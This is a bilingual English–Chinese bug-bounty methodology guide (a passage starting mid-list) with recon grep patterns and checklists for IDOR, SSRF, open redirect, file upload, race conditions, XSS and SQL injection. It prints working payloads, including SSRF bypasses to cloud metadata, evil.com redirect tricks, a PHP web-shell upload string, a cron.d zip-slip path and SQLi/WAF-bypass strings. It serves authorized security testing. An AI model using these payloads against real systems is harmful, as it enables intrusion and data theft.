/xmlrpc.php
,
/?author=1
Node.js:
/.env
,
/graphql
(introspection),
/_debug
AWS Cognito:
/oauth2/userInfo
(leaks Pool ID), CORS reflects arbitrary origins
Laravel:
/horizon
、
/telescope
、
/.env
、
/storage/logs/laravel.log
WordPress:
/wp-json/wp/v2/users
、
/xmlrpc.php
、
/?author=1
Node.js:
/.env
、
/graphql
(introspection)、
/_debug
AWS Cognito:
/oauth2/userInfo
(泄露 Pool ID)、CORS 反射任意 Origin

Source Code Recon

源代码侦察

bash
undefined
bash
undefined

Security surface

Security surface

cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security|fix|CVE" git log --oneline --all --grep="security|CVE|fix|vuln" | head -20
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security|fix|CVE" git log --oneline --all --grep="security|CVE|fix|vuln" | head -20

Dev breadcrumbs

Dev breadcrumbs

grep -rn "TODO|FIXME|HACK|UNSAFE" --include=".ts" --include=".js" | grep -iv "test|spec"
grep -rn "TODO|FIXME|HACK|UNSAFE" --include=".ts" --include=".js" | grep -iv "test|spec"

Dangerous patterns (JS/TS)

Dangerous patterns (JS/TS)

grep -rn "eval(|innerHTML|dangerouslySetInner|execSync" --include=".ts" --include=".js" | grep -v node_modules grep -rn "===.token|===.secret|===.hash" --include=".ts" --include=".js" grep -rn "fetch(|axios." --include=".ts" | grep "req.|params.|query."
grep -rn "eval(|innerHTML|dangerouslySetInner|execSync" --include=".ts" --include=".js" | grep -v node_modules grep -rn "===.token|===.secret|===.hash" --include=".ts" --include=".js" grep -rn "fetch(|axios." --include=".ts" | grep "req.|params.|query."

Dangerous patterns (Solidity)

Dangerous patterns (Solidity)

grep -rn "tx.origin|delegatecall|selfdestruct|block.timestamp" --include="*.sol"
undefined
grep -rn "tx.origin|delegatecall|selfdestruct|block.timestamp" --include="*.sol"
undefined

Language-Specific Grep Patterns

按语言区分的 Grep 模式

bash
undefined
bash
undefined

JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks

JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks

grep -rn "proto|constructor[" --include=".js" --include=".ts" | grep -v node_modules grep -rn "postMessage|addEventListener.message" --include=".js" | grep -v node_modules
grep -rn "proto|constructor[" --include=".js" --include=".ts" | grep -v node_modules grep -rn "postMessage|addEventListener.message" --include=".js" | grep -v node_modules

↑ If listeners found, verify origin-check robustness with attacker page —

↑ If listeners found, verify origin-check robustness with attacker page —

see web2-vuln-classes section 3 "postMessage Testing"

see web2-vuln-classes section 3 "postMessage Testing"

grep -rn "child_process|execSync|spawn(" --include="*.js" | grep -v node_modules
grep -rn "child_process|execSync|spawn(" --include="*.js" | grep -v node_modules

Python -- pickle, yaml.load, eval, shell injection

Python -- pickle, yaml.load, eval, shell injection

grep -rn "pickle.loads|yaml.load|eval(" --include=".py" | grep -v test grep -rn "subprocess|os.system|os.popen" --include=".py" | grep -v test grep -rn "import|exec(" --include="*.py"
grep -rn "pickle.loads|yaml.load|eval(" --include=".py" | grep -v test grep -rn "subprocess|os.system|os.popen" --include=".py" | grep -v test grep -rn "import|exec(" --include="*.py"

PHP -- type juggling, unserialize, LFI

PHP -- type juggling, unserialize, LFI

grep -rn "unserialize|eval(|preg_replace.e" --include=".php" grep -rn "==.*password|==.token|==.hash" --include=".php" grep -rn "$_GET|$_POST|$_REQUEST" --include=".php" | grep "include|require|file_get"
grep -rn "unserialize|eval(|preg_replace.e" --include=".php" grep -rn "==.*password|==.token|==.hash" --include=".php" grep -rn "$_GET|$_POST|$_REQUEST" --include=".php" | grep "include|require|file_get"

Go -- template.HTML, race conditions

Go -- template.HTML, race conditions

grep -rn "template.HTML|template.JS|template.URL" --include=".go" grep -rn "go func|sync.Mutex|atomic." --include=".go"
grep -rn "template.HTML|template.JS|template.URL" --include=".go" grep -rn "go func|sync.Mutex|atomic." --include=".go"

Ruby -- YAML.load, mass assignment

Ruby -- YAML.load, mass assignment

grep -rn "YAML.load[^_]|Marshal.load|eval(" --include=".rb" grep -rn "attr_accessible|permit(" --include=".rb"
grep -rn "YAML.load[^_]|Marshal.load|eval(" --include=".rb" grep -rn "attr_accessible|permit(" --include=".rb"

Rust -- panic on network input, unsafe blocks

Rust -- panic on network input, unsafe blocks

grep -rn ".unwrap()|.expect(" --include=".rs" | grep -v "test|encode|to_bytes|serialize" grep -rn "unsafe {" --include=".rs" -B5 | grep "read|recv|parse|decode" grep -rn "as u8|as u16|as u32|as usize" --include="*.rs" | grep -v "checked|saturating|wrapping"

---
grep -rn ".unwrap()|.expect(" --include=".rs" | grep -v "test|encode|to_bytes|serialize" grep -rn "unsafe {" --include=".rs" -B5 | grep "read|recv|parse|decode" grep -rn "as u8|as u16|as u32|as usize" --include="*.rs" | grep -v "checked|saturating|wrapping"

---

PHASE 2: LEARN (Pre-Hunt Intelligence)

阶段 2:学习(Hunting 前情报)

Read Disclosed Reports

阅读已披露报告

bash
undefined
bash
undefined

By program on HackerOne

By program on HackerOne

curl -s "https://hackerone.com/graphql"
-H "Content-Type: application/json"
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:"PROGRAM"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}'
| jq '.data.hacktivity_items.nodes[].report'
undefined
curl -s "https://hackerone.com/graphql"
-H "Content-Type: application/json"
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:"PROGRAM"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}'
| jq '.data.hacktivity_items.nodes[].report'
undefined

"What Changed" Method

“变更了什么”方法

  1. Find disclosed report for similar tech
  2. Get the fix commit
  3. Read the diff -- identify the anti-pattern
  4. Grep your target for that same anti-pattern
  1. 查找相似技术的已披露报告
  2. 获取修复 commit
  3. 阅读 diff——识别反模式
  4. 在目标中 grep 相同的反模式

Threat Model Template

威胁模型模板

TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
  [ ] Unauthenticated: login, register, password reset, public APIs
  [ ] Authenticated: all user-facing endpoints, file uploads, API calls
  [ ] Cross-tenant: org/team/workspace ID parameters
  [ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
  1.___ 2.___ 3.___
TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
  [ ] Unauthenticated: login, register, password reset, public APIs
  [ ] Authenticated: all user-facing endpoints, file uploads, API calls
  [ ] Cross-tenant: org/team/workspace ID parameters
  [ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
  1.___ 2.___ 3.___

6 Key Patterns from Top Reports

顶尖报告中的 6 种关键模式

  1. Feature Complexity = Bug Surface -- imports, integrations, multi-tenancy, multi-step workflows
  2. Developer Inconsistency = Strongest Evidence --
    timingSafeEqual
    in one place,
    ===
    elsewhere
  3. "Else Branch" Bug -- proxy/gateway passes raw token without validation in else path
  4. Import/Export = SSRF -- every "import from URL" feature has historically had SSRF
  5. Secondary/Legacy Endpoints = No Auth --
    /api/v1/
    guarded but
    /api/
    isn't
  6. Race Windows in Financial Ops -- check-then-deduct as two DB operations = double-spend

  1. 功能复杂度 = 漏洞面——导入、集成、多租户、多步骤工作流
  2. 开发者不一致 = 最有力证据——一个位置使用
    timingSafeEqual
    ,另一个位置却使用
    ===
  3. “Else 分支”漏洞——proxy/gateway 在 else 路径中传递原始 token,却不做验证
  4. 导入/导出 = SSRF——历史上每个“从 URL 导入”功能都曾出现 SSRF
  5. 次要/旧版 Endpoint = 无认证——
    /api/v1/
    有保护,但
    /api/
    没有
  6. 金融操作中的竞态窗口——检查后扣除由两个数据库操作组成 = 双重消费

PHASE 3: HUNT

阶段 3:HUNTING

Note-Taking System (Never Hunt Without This)

笔记系统(绝不要在没有笔记的情况下 Hunting)

markdown
undefined
markdown
undefined

TARGET: company.com -- SESSION 1

TARGET: company.com -- SESSION 1

Interesting Leads (not confirmed bugs yet)

Interesting Leads (not confirmed bugs yet)

  • [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...
Before closing any 4xx/5xx: grep the response body for the 8 framework trace patterns in web2-vuln-classes "Error Disclosure / Debug Endpoints". A 502 body containing a Node.js stack trace is not a dead end — it is a chain entry point.
  • [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...
Before closing any 4xx/5xx: grep the response body for the 8 framework trace patterns in web2-vuln-classes "Error Disclosure / Debug Endpoints". A 502 body containing a Node.js stack trace is not a dead end — it is a chain entry point.

Dead Ends (don't revisit)

Dead Ends (don't revisit)

  • /admin -> IP restricted, confirmed by trying 15+ bypass headers
  • /admin -> IP restricted, confirmed by trying 15+ bypass headers

Anomalies

Anomalies

  • GET /api/export returns 200 even when session cookie is missing
  • Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)
  • GET /api/export returns 200 even when session cookie is missing
  • Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)

Rabbit Holes (time-boxed, max 15 min each)

Rabbit Holes (time-boxed, max 15 min each)

  • 10 min: JWT kid injection on auth endpoint
  • 10 min: JWT kid injection on auth endpoint

Confirmed Bugs

Confirmed Bugs

  • [15:10] IDOR on /api/invoices/{id} -- read+write
undefined
  • [15:10] IDOR on /api/invoices/{id} -- read+write
undefined

Subdomain Type -> Hunt Strategy

子域名类型 -> Hunting 策略

  • dev/staging/test: Debug endpoints, disabled auth, verbose errors
  • admin/internal: Default creds, IP bypass headers (
    X-Forwarded-For: 127.0.0.1
    )
  • api/api-v2: Enumerate with kiterunner, check older unprotected versions
  • auth/sso: OAuth misconfigs, open redirect in
    redirect_uri
  • upload/cdn: CORS, path traversal, stored XSS
  • 403/blocked sensitive paths (
    /.env 403
    ,
    /.git 403
    ,
    /admin 403
    ): pivot to "Error Disclosure / Debug Endpoints" triggering techniques — malformed input on adjacent API endpoints (
    /api/user/abc
    ,
    {"id": null}
    ,
    ?page=9999999999
    ) to elicit framework stack traces without needing direct path access.
  • dev/staging/test:Debug endpoint、禁用的认证、详细错误
  • admin/internal:默认凭据、IP 绕过请求头(
    X-Forwarded-For: 127.0.0.1
    )
  • api/api-v2:使用 kiterunner 枚举,检查更旧且未保护的版本
  • auth/sso:OAuth 配置错误、
    redirect_uri
    中的开放重定向
  • upload/cdn:CORS、路径遍历、存储型 XSS
  • 敏感路径被禁止访问(
    /.env 403
    、
    /.git 403
    、
    /admin 403
    ):转向“Error Disclosure / Debug Endpoints”触发技巧——对相邻 API endpoint 提交畸形输入(
    /api/user/abc
    、
    {"id": null}
    、
    ?page=9999999999
    ),以触发框架堆栈跟踪,无需直接访问受限路径。

CVE-Seeded Audit Approach

CVE 种子审计方法

  1. Build a CVE eval set -- collect 5-10 prior CVEs for the target codebase
  2. Reproduce old bugs -- verify you can find the pattern in older code
  3. Pattern-match forward -- search for the same anti-pattern in current code
  4. Focus on wide attack surfaces -- JS engines, parsers, anything processing untrusted external input
  1. 构建 CVE 评估集——为目标代码库收集 5-10 个历史 CVE
  2. 复现旧漏洞——验证自己能在旧代码中找到相应模式
  3. 向前模式匹配——在当前代码中搜索相同反模式
  4. 聚焦广泛攻击面——JS 引擎、解析器,以及任何处理不可信外部输入的组件

Rust/Blockchain Source Code (Hard-Won Lessons)

Rust/区块链源代码(宝贵经验)

Panic paths: encoding vs decoding --
.unwrap()
on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.
"Known TODO" is not a mitigation -- A comment like
// Votes are not signed for now
doesn't mean safe.
Pattern-based hunting from confirmed findings -- If
verify_signed_vote
is broken, check
verify_signed_proposal
and
verify_commit_signature
.
bash
undefined
Panic 路径:编码与解码——编码路径上的
.unwrap()
不可由攻击者触发。只有网络输入反序列化/解码过程中的 panic 才可利用。
“已知 TODO”不是缓解措施——类似
// Votes are not signed for now
的注释并不意味着安全。
基于已确认发现的模式 Hunting——如果
verify_signed_vote
已被攻破,应检查
verify_signed_proposal
和
verify_commit_signature
。
bash
undefined

Rust dangerous patterns (network-facing)

Rust dangerous patterns (network-facing)

grep -rn ".unwrap()|.expect(" --include=".rs" | grep -v "test|encode|to_bytes|serialize" grep -rn "if let Ok|let _ =" --include=".rs" | grep -i "verify|sign|cert|auth" grep -rn "TODO|FIXME|not signed|not verified|for now" --include="*.rs" | grep -i "sign|verify|cert|auth"

---
grep -rn ".unwrap()|.expect(" --include=".rs" | grep -v "test|encode|to_bytes|serialize" grep -rn "if let Ok|let _ =" --include=".rs" | grep -i "verify|sign|cert|auth" grep -rn "TODO|FIXME|not signed|not verified|for now" --include="*.rs" | grep -i "sign|verify|cert|auth"

---

VULNERABILITY HUNTING CHECKLISTS

漏洞 HUNTING 检查清单

IDOR -- Insecure Direct Object Reference

IDOR——不安全的直接对象引用

#1 most paid web2 class -- 30% of all submissions that get paid.
#1 最赚钱的 Web2 漏洞类型——所有获得赏金的提交中有 30% 属于此类。

IDOR Variants (10 Ways to Test)

IDOR 变体(10 种测试方式)

VariantWhat to Test
V1: DirectChange object ID in URL path
/api/users/123
->
/api/users/456
V2: Body paramChange ID in POST/PUT JSON body
{"user_id": 456}
V3: GraphQL node
{ node(id: "base64(OtherType:123)") { ... } }
V4: Batch/bulk
/api/users?ids=1,2,3,4,5
-- request multiple IDs at once
V5: NestedChange parent ID:
/orgs/{org_id}/users/{user_id}
V6: File path
/files/download?path=../other-user/file.pdf
V7: PredictableSequential integers, timestamps, short UUIDs
V8: Method swapGET returns 403? Try PUT/PATCH/DELETE on same endpoint
V9: Version rollbackv2 blocked? Try
/api/v1/
same endpoint
V10: Header injection
X-User-ID: victim_id
,
X-Org-ID: victim_org
变体测试内容
V1:直接引用修改 URL 路径中的对象 ID:
/api/users/123
->
/api/users/456
V2:Body 参数修改 POST/PUT JSON Body 中的 ID:
{"user_id": 456}
V3:GraphQL node
{ node(id: "base64(OtherType:123)") { ... } }
V4:批量
/api/users?ids=1,2,3,4,5
——一次请求多个 ID
V5:嵌套修改父级 ID:
/orgs/{org_id}/users/{user_id}
V6:文件路径
/files/download?path=../other-user/file.pdf
V7:可预测连续整数、时间戳、短 UUID
V8:方法替换GET 返回 403?尝试对同一 endpoint 使用 PUT/PATCH/DELETE
V9:版本回退v2 被阻止?尝试同一 endpoint 的
/api/v1/
V10:请求头注入
X-User-ID: victim_id
、
X-Org-ID: victim_org

IDOR Testing Checklist

IDOR 测试检查清单

  • Create two accounts (A = attacker, B = victim)
  • Log in as A, perform all actions, note all IDs in requests
  • Log in as B, replay A's requests with A's IDs using B's auth
  • Try EVERY endpoint with swapped IDs -- not just GET, also PUT/DELETE/PATCH
  • Check API v1/v2 differences
  • Check GraphQL schema for node() queries
  • Check WebSocket messages for client-supplied IDs
  • Test batch endpoints (can you request multiple IDs?)
  • Try adding unexpected params:
    ?user_id=other_user
  • 创建两个账户(A = 攻击者,B = 受害者)
  • 以 A 登录,执行所有操作,并记录请求中的所有 ID
  • 以 B 登录,使用 B 的认证信息重放带 A 的 ID 的请求
  • 对每个 endpoint 尝试交换 ID——不仅是 GET,也包括 PUT/DELETE/PATCH
  • 检查 API v1/v2 差异
  • 检查 GraphQL schema 中的 node() 查询
  • 检查 WebSocket 消息中的客户端提供 ID
  • 测试批量 endpoint(能否一次请求多个 ID?)
  • 尝试添加意外参数:
    ?user_id=other_user

IDOR Chains (higher payout)

IDOR 链(赏金更高)

  • IDOR + Read PII = Medium
  • IDOR + Write (modify other's data) = High
  • IDOR + Admin endpoint = Critical (privilege escalation)
  • IDOR + Account takeover path = Critical
  • IDOR + Chatbot (LLM reads other user's data) = High
  • IDOR + 读取 PII = Medium
  • IDOR + 写入(修改他人数据)= High
  • IDOR + 管理 endpoint = Critical(权限提升)
  • IDOR + 账户接管路径 = Critical
  • IDOR + Chatbot(LLM 读取其他用户数据)= High

SSRF -- Server-Side Request Forgery

SSRF——服务端请求伪造

  • Try cloud metadata:
    http://169.254.169.254/latest/meta-data/
  • Try internal services:
    http://127.0.0.1:6379/
    (Redis),
    :9200
    (Elasticsearch),
    :27017
    (MongoDB)
  • Test all IP bypass techniques (see table below)
  • Test protocol bypass:
    file://
    ,
    dict://
    ,
    gopher://
  • Look in: webhook URLs, import from URL, profile picture URL, PDF generators, XML parsers
  • 尝试云元数据:
    http://169.254.169.254/latest/meta-data/
  • 尝试内部服务:
    http://127.0.0.1:6379/
    (Redis)、
    :9200
    (Elasticsearch)、
    :27017
    (MongoDB)
  • 测试所有 IP 绕过技术(见下表)
  • 测试协议绕过:
    file://
    、
    dict://
    、
    gopher://
  • 寻找入口:Webhook URL、从 URL 导入、头像 URL、PDF 生成器、XML 解析器

SSRF IP Bypass Table (11 Techniques)

SSRF IP 绕过表(11 种技术)

BypassPayloadNotes
Decimal IP
http://2130706433/
127.0.0.1 as single decimal
Hex IP
http://0x7f000001/
Hex representation
Octal IP
http://0177.0.0.1/
Octal 0177 = 127
Short IP
http://127.1/
Abbreviated notation
IPv6
http://[::1]/
Loopback in IPv6
IPv6-mapped
http://[::ffff:127.0.0.1]/
IPv4-mapped IPv6
Redirect chain
http://attacker.com/302->http://169.254.169.254
Check each hop
DNS rebindingRegister domain resolving to 127.0.0.1First check = external, fetch = internal
URL encoding
http://127.0.0.1%2523@attacker.com
Parser confusion
Enclosed alphanumeric
http://①②⑦.⓪.⓪.①
Unicode numerals
Protocol smuggling
gopher://127.0.0.1:6379/_INFO
Redis/other protocols
绕过方式Payload说明
十进制 IP
http://2130706433/
将 127.0.0.1 表示为单个十进制数
十六进制 IP
http://0x7f000001/
十六进制表示
八进制 IP
http://0177.0.0.1/
八进制 0177 = 127
短 IP
http://127.1/
缩写表示法
IPv6
http://[::1]/
IPv6 Loopback
IPv6 映射
http://[::ffff:127.0.0.1]/
IPv4 映射 IPv6
重定向链
http://attacker.com/302->http://169.254.169.254
检查每一跳
DNS rebinding注册解析到 127.0.0.1 的域名首次检查为外部,fetch 时变为内部
URL 编码
http://127.0.0.1%2523@attacker.com
解析器混淆
字母数字包裹
http://①②⑦.⓪.⓪.①
Unicode 数字
协议走私
gopher://127.0.0.1:6379/_INFO
Redis/其他协议

SSRF Impact Chain

SSRF 影响链

  • DNS-only = Informational (don't submit)
  • Internal service accessible = Medium
  • Cloud metadata readable = High (key exposure)
  • Cloud metadata + exfil keys = Critical (code execution on cloud)
  • Docker API accessible = Critical (direct RCE)
  • 仅 DNS = Informational(不要提交)
  • 可访问内部服务 = Medium
  • 可读取云元数据 = High(密钥暴露)
  • 云元数据 + 密钥外泄 = Critical(云上代码执行)
  • 可访问 Docker API = Critical(直接 RCE)

OAuth / OIDC

OAuth / OIDC

  • Missing
    state
    parameter -> CSRF
  • redirect_uri
    accepts wildcards -> ATO
  • Missing PKCE -> code theft
  • Implicit flow -> token leakage in referrer
  • Open redirect in post-auth redirect -> OAuth token theft chain
  • 缺少
    state
    参数 -> CSRF
  • redirect_uri
    接受通配符 -> ATO
  • 缺少 PKCE -> 授权码窃取
  • Implicit flow -> token 在 referrer 中泄露
  • 认证后重定向中存在开放重定向 -> OAuth token 窃取链

Open Redirect Bypass Table (11 Techniques)

开放重定向绕过表(11 种技术)

Use these when chaining open redirect into OAuth code theft:
BypassPayloadNotes
Double URL encoding
%252F%252F
Decodes to
//
after double decode
Backslash
https://target.com\@evil.com
Some parsers normalize
\
to
/
Missing protocol
//evil.com
Protocol-relative
@-trick
https://target.com@evil.com
target.com becomes username
Protocol-relative
///evil.com
Triple slash
Tab/newline injection
//evil%09.com
Whitespace in hostname
Fragment trick
https://evil.com#target.com
Fragment misleads validation
Null byte
https://evil.com%00target.com
Some parsers truncate at null
Parameter pollution
?next=target.com&next=evil.com
Last value wins
Path confusion
/redirect/..%2F..%2Fevil.com
Path traversal in redirect
Unicode normalization
https://evil.com/target.com
Visual confusion
在将开放重定向与 OAuth 授权码窃取组成攻击链时使用:
绕过方式Payload说明
双重 URL 编码
%252F%252F
双重解码后变为
//
反斜杠
https://target.com\@evil.com
部分解析器会将
\
规范化为
/
缺少协议
//evil.com
协议相对 URL
@
技巧
https://target.com@evil.com
target.com 成为用户名
协议相对
///evil.com
三斜杠
Tab/换行注入
//evil%09.com
主机名中包含空白字符
Fragment 技巧
https://evil.com#target.com
Fragment 误导验证逻辑
Null Byte
https://evil.com%00target.com
部分解析器在 null 处截断
参数污染
?next=target.com&next=evil.com
最后一个值生效
路径混淆
/redirect/..%2F..%2Fevil.com
重定向中的路径遍历
Unicode 规范化
https://evil.com/target.com
视觉混淆

File Upload

文件上传

File Upload Bypass Table

文件上传绕过表

BypassTechnique
Double extension
file.php.jpg
,
file.php%00.jpg
Case variation
file.pHp
,
file.PHP5
Alternative extensions
.phtml
,
.phar
,
.shtml
,
.inc
Content-Type spoof
image/jpeg
header with PHP content
Magic bytes
GIF89a; <?php system($_GET['c']); ?>
.htaccess upload
AddType application/x-httpd-php .jpg
SVG XSS
<svg onload=alert(1)>
Race conditionUpload + execute before cleanup runs
Polyglot JPEG/PHPValid JPEG that is also valid PHP
Zip slip
../../etc/cron.d/shell
in filename inside archive
绕过方式技术
双重扩展名
file.php.jpg
、
file.php%00.jpg
大小写变化
file.pHp
、
file.PHP5
替代扩展名
.phtml
、
.phar
、
.shtml
、
.inc
Content-Type 欺骗标为
image/jpeg
的 Header 中包含 PHP 内容
Magic Bytes
GIF89a; <?php system($_GET['c']); ?>
上传 .htaccess
AddType application/x-httpd-php .jpg
SVG XSS
<svg onload=alert(1)>
竞态条件在清理执行前完成上传 + 执行
JPEG/PHP Polyglot同时是有效 JPEG 和有效 PHP 的文件
Zip Slip压缩包内文件名包含
../../etc/cron.d/shell

Magic Bytes Reference

Magic Bytes 参考

TypeHex
JPEG
FF D8 FF
PNG
89 50 4E 47 0D 0A 1A 0A
GIF
47 49 46 38
PDF
25 50 44 46
ZIP/DOCX/XLSX
50 4B 03 04
类型Hex
JPEG
FF D8 FF
PNG
89 50 4E 47 0D 0A 1A 0A
GIF
47 49 46 38
PDF
25 50 44 46
ZIP/DOCX/XLSX
50 4B 03 04

Race Conditions

竞态条件

  • Coupon codes / promo codes
  • Gift card redemption
  • Fund transfer / withdrawal
  • Voting / rating limits
  • OTP verification brute via race
bash
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
  -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait
  • 优惠券/促销码
  • 礼品卡兑换
  • 资金转账/提现
  • 投票/评分限制
  • 通过竞态暴力破解 OTP
bash
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
  -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait

Turbo Intruder -- Single-Packet Attack (All Requests Arrive Simultaneously)

Turbo Intruder——单数据包攻击(所有请求同时到达)

python
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=1,
                           pipeline=False,
                           engine=Engine.BURP2)
    for i in range(20):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')  # all 20 fire in a single TCP packet

def handleResponse(req, interesting):
    table.add(req)
python
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=1,
                           pipeline=False,
                           engine=Engine.BURP2)
    for i in range(20):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')  # all 20 fire in a single TCP packet

def handleResponse(req, interesting):
    table.add(req)

Business Logic

业务逻辑

  • Negative quantities in cart
  • Price parameter tampering
  • Workflow skip (e.g., pay without checkout)
  • Role escalation via registration fields
  • Privilege persistence after downgrade
  • 购物车中的负数数量
  • 价格参数篡改
  • 工作流跳过(例如,不结账直接支付)
  • 通过注册字段提升角色
  • 降级后权限仍然保留

XSS -- Cross-Site Scripting

XSS——跨站脚本

XSS Sinks (grep for these)

XSS Sink(对这些位置进行 grep)

javascript
// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)    // string form
setInterval(userInput, ...)
new Function(userInput)

// MEDIUM RISK (context-dependent)
element.src = userInput        // JavaScript URI possible
element.href = userInput
location.href = userInput
javascript
// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)    // string form
setInterval(userInput, ...)
new Function(userInput)

// MEDIUM RISK (context-dependent)
element.src = userInput        // JavaScript URI possible
element.href = userInput
location.href = userInput

XSS Chains (escalate from Medium to High/Critical)

XSS 链(将 Medium 升级为 High/Critical)

  • XSS + sensitive page (banking, admin) = High
  • XSS + CSRF token theft = CSRF bypass -> Critical action
  • XSS + service worker = persistent XSS across pages
  • XSS + credential theft via fake login form = ATO
  • XSS in chatbot response = stored XSS chain
  • XSS + 敏感页面(银行、管理后台)= High
  • XSS + CSRF Token 窃取 = 绕过 CSRF -> Critical 操作
  • XSS + Service Worker = 跨页面持久化 XSS
  • XSS + 通过伪造登录表单窃取凭据 = ATO
  • Chatbot 响应中的 XSS = 存储型 XSS 链

SQL Injection

SQL 注入

Detection

检测

bash
undefined
bash
undefined

Single quote test

Single quote test

' OR '1'='1 ' OR 1=1-- ' UNION SELECT NULL--
' OR '1'='1 ' OR 1=1-- ' UNION SELECT NULL--

Error-based detection

Error-based detection

'; SELECT 1/0-- # divide by zero error reveals SQLi
undefined
'; SELECT 1/0-- # divide by zero error reveals SQLi
undefined

Modern SQLi WAF Bypass

现代 SQLi WAF 绕过

sql
-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1
sql
-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1

Stack → DBMS fingerprint (pick the right payload or you MISS blind/error injections)

技术栈 -> DBMS 指纹识别(选择正确 Payload,否则会遗漏盲注或报错注入)

Tech signalLikely DBMSBlind probe
.asp
/
.aspx
, IIS, ASP.NET error pages
MSSQL
WAITFOR DELAY '0:0:5'--
.php
, Apache/nginx LAMP
MySQL/MariaDB
SLEEP(5)--
Java/Spring,
.jsp
PostgreSQL / MSSQL / Oracle
pg_sleep(5)
/
WAITFOR
/
dbms_pipe.receive_message('a',5)
Python (Django/Flask), RailsPostgreSQL / MySQL
pg_sleep(5)
/
SLEEP(5)
Fingerprint early:
@@version
(MSSQL/MySQL),
version()
(PG),
SELECT banner FROM v$version
(Oracle). A wrong-DBMS payload silently fails — that's a missed bug, not a clean target.
技术信号可能的 DBMS盲注探测
.asp
/
.aspx
、IIS、ASP.NET 错误页
MSSQL
WAITFOR DELAY '0:0:5'--
.php
、Apache/nginx LAMP
MySQL/MariaDB
SLEEP(5)--
Java/Spring、
.jsp
PostgreSQL / MSSQL / Oracle
pg_sleep(5)
/
WAITFOR
/
dbms_pipe.receive_message('a',5)
Python(Django/Flask)、RailsPostgreSQL / MySQL
pg_sleep(5)
/
SLEEP(5)
尽早识别:
@@version
(MSSQL/MySQL)、
version()
(PG)、
SELECT banner FROM v$version
(Oracle)。使用错误的 DBMS Payload 会静默失败——这意味着漏掉了漏洞,而不是目标不存在漏洞。

Where SQLi hides (test every sink, not just the search box)

SQLi 可能藏在哪里(测试每个 Sink,而不只是搜索框)

  • Every param from recon /
    param-discover
    — incl. JSON keys,
    ORDER BY
    /
    sort=
    columns (can't be parameterized → high-yield),
    LIMIT
    /
    offset
  • Headers & cookies looked up in a query (
    X-Forwarded-For
    ,
    User-Agent
    , session/auth tokens)
  • Second-order: value stored on one request (profile field, filename), fires in a later query — plant
    '
    /sleep, then watch a different page render
  • REST/GraphQL filters, export & report generators, autocomplete/"search" endpoints
  • 侦察得到的每个参数——包括 JSON Key、
    ORDER BY
    /
    sort=
    列(无法参数化,因此收益高)、
    LIMIT
    /
    offset
  • 在查询中使用的 Header 与 Cookie(
    X-Forwarded-For
    、
    User-Agent
    、Session/Auth Token)
  • 二阶注入:在一次请求中存储值(个人资料字段、文件名),在后续查询中触发——植入
    '
    /sleep,然后观察另一个页面的渲染
  • REST/GraphQL 过滤器、导出与报告生成器、自动完成/“搜索”endpoint

Confirm + prove impact (read-only — kills N/A, catches blind)

确认并证明影响(只读——淘汰 N/A,发现盲注)

sql
-- 1. confirm it's REAL (don't stop at one error)
' AND 1=1--  vs  ' AND 1=2--    → responses differ = boolean oracle = real
-- 2. column count, then a displayable column
' ORDER BY 1--  ↑ N until error → N-1 cols
0' UNION SELECT NULL,'MARKER',NULL--   → find where MARKER renders
-- 3. prove readable data (ONE value is enough for a valid report)
0' UNION SELECT NULL,@@version,NULL--               -- MSSQL/MySQL
0' UNION SELECT NULL,version(),NULL--               -- PostgreSQL
-- one-request dump when proving a sensitive table:
-- MySQL GROUP_CONCAT() · MSSQL/PG STRING_AGG() · Oracle LISTAGG()
SQLi that reads a sensitive row (e.g. a config/credentials table) is already a valid, high-severity finding — submit on the readable data, not a lone 500. You do not need RCE.
Escalation (conditional — most SQLi stops at data read). Only if the DB account is
sysadmin
/superuser and host exploitation is in program scope does SQLi → OS RCE apply (MSSQL
xp_cmdshell
, PG
COPY…FROM PROGRAM
, MySQL
INTO OUTFILE
). In BBP this is usually out of scope — prove the data read, note escalation potential in Impact, and don't run it.
sql
-- 1. confirm it's REAL (don't stop at one error)
' AND 1=1--  vs  ' AND 1=2--    → responses differ = boolean oracle = real
-- 2. column count, then a displayable column
' ORDER BY 1--  ↑ N until error → N-1 cols
0' UNION SELECT NULL,'MARKER',NULL--   → find where MARKER renders
